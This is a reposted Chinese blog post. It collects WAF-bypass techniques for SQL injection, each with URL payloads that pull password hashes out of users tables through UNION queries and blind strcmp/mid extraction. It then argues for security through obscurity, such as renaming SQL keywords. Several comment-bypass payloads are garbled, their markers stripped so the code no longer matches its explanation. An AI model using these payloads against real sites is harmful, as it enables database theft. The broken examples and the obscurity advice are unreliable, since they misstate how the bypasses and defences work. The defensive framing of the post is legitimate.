? ?當(dāng)所有的系統(tǒng)安全防御做好后，剩下恐怕就是SQL注入，跨站攻擊等等web應(yīng)用層防御了，這也是廣大站長最困擾的東東了，幾日前寫的“安全寶構(gòu)架技術(shù)猜測(cè)與高級(jí)網(wǎng)絡(luò)安全防御?”講解了一種最簡(jiǎn)單的高性能防御方方法，根據(jù)自己的情況稍微修改下，就可以應(yīng)付大部分的攻擊了，可是就萬事大吉了嗎？

? 首先我們回顧下網(wǎng)上牛人是怎么突破waf防御：

1.大小寫繞過

這個(gè)大家都很熟悉，對(duì)于一些太垃圾的WAF效果顯著，比如攔截了union，那就使用Union UnIoN等等繞過。

2.簡(jiǎn)單編碼繞過

比如WAF檢測(cè)關(guān)鍵字，那么我們讓他檢測(cè)不到就可以了。比如檢測(cè)union，那么我們就用U也就是U的16進(jìn)制編碼來代替U，union寫成 UnION，結(jié)合大小寫也可以繞過一些WAF，你可以隨意替換一個(gè)或幾個(gè)都可以。

也還有大家在Mysql注入中比如表名或是load文件的時(shí)候，會(huì)把文件名或是表明用16進(jìn)制編碼來繞過WAF都是屬于這類。

3.注釋繞過

這種情況比較少，適用于WAF只是過濾了一次危險(xiǎn)的語句，而沒有阻斷我們的整個(gè)查詢。

01./?id=1+union+select+1,2,3unionselect+1,2,3 1,2,3,4…

可以看到，只要我們把敏感詞放到注釋里面，注意，前面要加一個(gè)！

4.分隔重寫繞過

還是上面的例子，適用于那種WAF采用了正則表達(dá)式的情況，會(huì)檢測(cè)所有的敏感字，而不在乎你寫在哪里，有幾個(gè)就過濾幾個(gè)。

我們可以通過注釋分開敏感字,這樣WAF的正則不起作用了，而帶入查詢的時(shí)候并不影響我們的結(jié)果。

01./?id=1+union+select+1,2,3--

至于重寫繞過，適用于WAF過濾了一次的情況，和我們上傳aaspsp馬的原理一樣，我們可以寫出類似Ununionion這樣的。過濾一次union后就會(huì)執(zhí)行我們的查詢了。

01.?id=1 ununionion select 1,2,3--

5.Http參數(shù)污染(HPP)

比如我們有這樣的語句：

01./?id=1 union select+1,2,3+from+users+where+id=1--

我們可以重復(fù)一次前面的id值添加我們的值來繞過，&id=會(huì)在查詢時(shí)變成逗號(hào)：

01./?id=1 union select+1&id=2,3+from+users+where+id=1--

這種情況成功的條件比較多，取決于具體的WAF實(shí)現(xiàn)。

再給出一個(gè)例子說明用法：

01./?id=1unionselectpwdfromusers--

具體分析的話就涉及到查詢語句的后臺(tái)代碼的編寫了。

比如服務(wù)器是這樣寫的：

01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];

那我們可以構(gòu)造這樣的注入語句：

01./?a=1+unionselect+1,passfrom+users--

最終解析為：

01.select * from table where a=1 unionselect 1,passfrom users--

可以看到，這種方式其實(shí)比較適合白盒測(cè)試，而對(duì)于黑盒滲透的話，用起來比較麻煩。但是也可以一試。

6.使用邏輯運(yùn)算符 or /and繞過

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

順便解釋一下第二句話，從最里面的括號(hào)開始分析，select+pwd+from+users+limit+1,1 這句是從users表里查詢pwd字段的第一條記錄，比如是admin，

然后mid(上一句),1,1就是取admin的第一個(gè)字符，也就是a，

lower(上一句)就是把字符轉(zhuǎn)換為小寫，

然后ascii就是把a(bǔ)轉(zhuǎn)換成ascii碼，看等不等于74。

7.比較操作符替換

包括!= 不等于，<>不等于，< 小于，>大于，這些都可以用來替換=來繞過。

比如上一個(gè)例子，要判斷是不是74，假設(shè)=被過濾，那么我們可以判斷是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都會(huì)忘了這個(gè)。

8.同功能函數(shù)替換

Substring()可以用mid()，substr()這些函數(shù)來替換，都是用來取字符串的某一位字符的。

Ascii()編碼可以用hex(),bin(),也就是16進(jìn)制和二進(jìn)制編碼替換。Benchmark()可以用sleep()來替換，這兩個(gè)使用在基于延時(shí)的盲注中，有機(jī)會(huì)給大家介紹。

如果連這些都屏蔽了，還有一種新的方法：

01.??substring((select 'password'),1,1) = 0x70

02.substr((select 'password'),1,1) = 0x70

03.mid((select 'password'),1,1) = 0x70

比如這三條，都是從password里判斷第一個(gè)字符的值，可以用：

01.strcmp(left('password',1), 0x69) = 1

02.strcmp(left('password',1), 0x70) = 0

03.strcmp(left('password',1), 0x71) = -1

來替換，left用來取字符串左起1位的值，strcmp用來比較兩個(gè)值，如果比較結(jié)果相等就為0，左邊小的話就為-1，否則為1。

還有我前幾篇說過的group_concat 和concat和concat_ws也可以互相替換。

9.盲注無需or和and

比如有這樣一個(gè)注入點(diǎn)：

01.index.php?uid=123

and、or被過濾了，其實(shí)有一種更直接的方法，我們直接修改123為我們的語句生成的：

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的時(shí)候頁面是正確的，我們現(xiàn)在在盲猜hash的第一位，如果第一位等于0x42也就是B，那么strcmp結(jié)果為0，0+123=123，所以頁面應(yīng)該是正確的。否則就說明不是B，就這樣猜，不用and和or了。

10. 加括號(hào)

01./?id=1+union+(select+1,2+from+users)

比如，上面這一條被WAF攔截了。可以試試加一些括號(hào)：

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select'1',concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.緩沖區(qū)溢出繞過

這個(gè)是從國外一個(gè)博客看到的：

01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好，一般要求1000個(gè)以上。

? 以上就是網(wǎng)上盛傳的突破方法，本人沒時(shí)間去試，也不想去試，這里有一個(gè)問題，為什么會(huì)有千千萬萬個(gè)漏洞，攻擊方法，防不勝防，有沒有一個(gè)根本的方法解決所有已知，未知的漏洞攻擊呢？

?? 其實(shí)歸根到底，我們用的linux win mysql 等等都是別人開發(fā)的，不是自己的東西，開源的好處就是你可以用，但是你不好保密！所以要解決問題，還得從軟件，系統(tǒng)的開發(fā)開始，哪怕簡(jiǎn)單的二次開發(fā)都可以防御很多攻擊：

? 1，假如自己能對(duì)mysql進(jìn)行二次開發(fā)，把所有的select union 命令簡(jiǎn)單的改名，改成沒有人知道的只有你自己知道的名字，你用擔(dān)心sql注入嗎？

2， 假如自己對(duì)mysql進(jìn)行二次開發(fā)，改變sql標(biāo)準(zhǔn)，邏輯，你還怕or and 注入嗎？

3，假如自己定義一套自己的開發(fā)語言，不用什么c php你還怕什么益處嗎?

4，大規(guī)模定制改造linux 把所有的命令，系統(tǒng)調(diào)用經(jīng)行二次開發(fā)，你還怕黑客入侵嗎？人家連ls 命令都不知道怎么弄！

?雖然有違開源精神，但是現(xiàn)在很多的閉源軟件，防火墻早就這么干了，說白了，保密的東東，最安全，自己創(chuàng)造的東東，才是最可靠的，畢竟你可以隨意定制更改，隨意擴(kuò)展開發(fā)！當(dāng)然如果沒有這個(gè)技術(shù)條件我們可以這么做，讓黑客崩潰到底！

?1，完全拋棄mysql mongodb等有sql注入風(fēng)險(xiǎn)的數(shù)據(jù)庫，采用redis或其他簡(jiǎn)單的能滿足你當(dāng)前業(yè)務(wù)的nosql數(shù)據(jù)庫,實(shí)在要邏輯，要什么觸發(fā)功能，請(qǐng)用lua php實(shí)現(xiàn)，清除所有無用的功能，就和linux權(quán)限一樣顆粒化一切，不要的，無用的統(tǒng)統(tǒng)丟掉，一個(gè)不剩！

2，對(duì)當(dāng)前采用linux 系統(tǒng) nginx apache 等等，全部進(jìn)行源代碼簡(jiǎn)單修改，核心功能算法不能更改，我們就不能更改命令名稱，用戶ui接口？打個(gè)比方把mysql 的select命令和各種對(duì)應(yīng)的編碼調(diào)用名稱改掉，哪里來的sql注入呢？

? 好了，希望大家參考就好千萬不要把系統(tǒng)改的面目全非，連自己都用不了，支持開源，不要僅僅停留在使用層，我們還是要努力成為開源軟件開發(fā)者，或者多提出自己的創(chuàng)新建議，任何事情不要盲目去跟風(fēng)，人家用，你也取用，夠用就好是一種簡(jiǎn)單而高深的哲學(xué)！

?

本文出自 “清蒸BSD紅燒LINUX” 博客，請(qǐng)務(wù)必保留此出處http://cookingbsd.blog.51cto.com/5404439/1196198

轉(zhuǎn)載于:https://www.cnblogs.com/c4isr/archive/2013/05/23/3095715.html

總結(jié)

以上是生活随笔為你收集整理的【转】SQL注入攻击防御深层思考的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。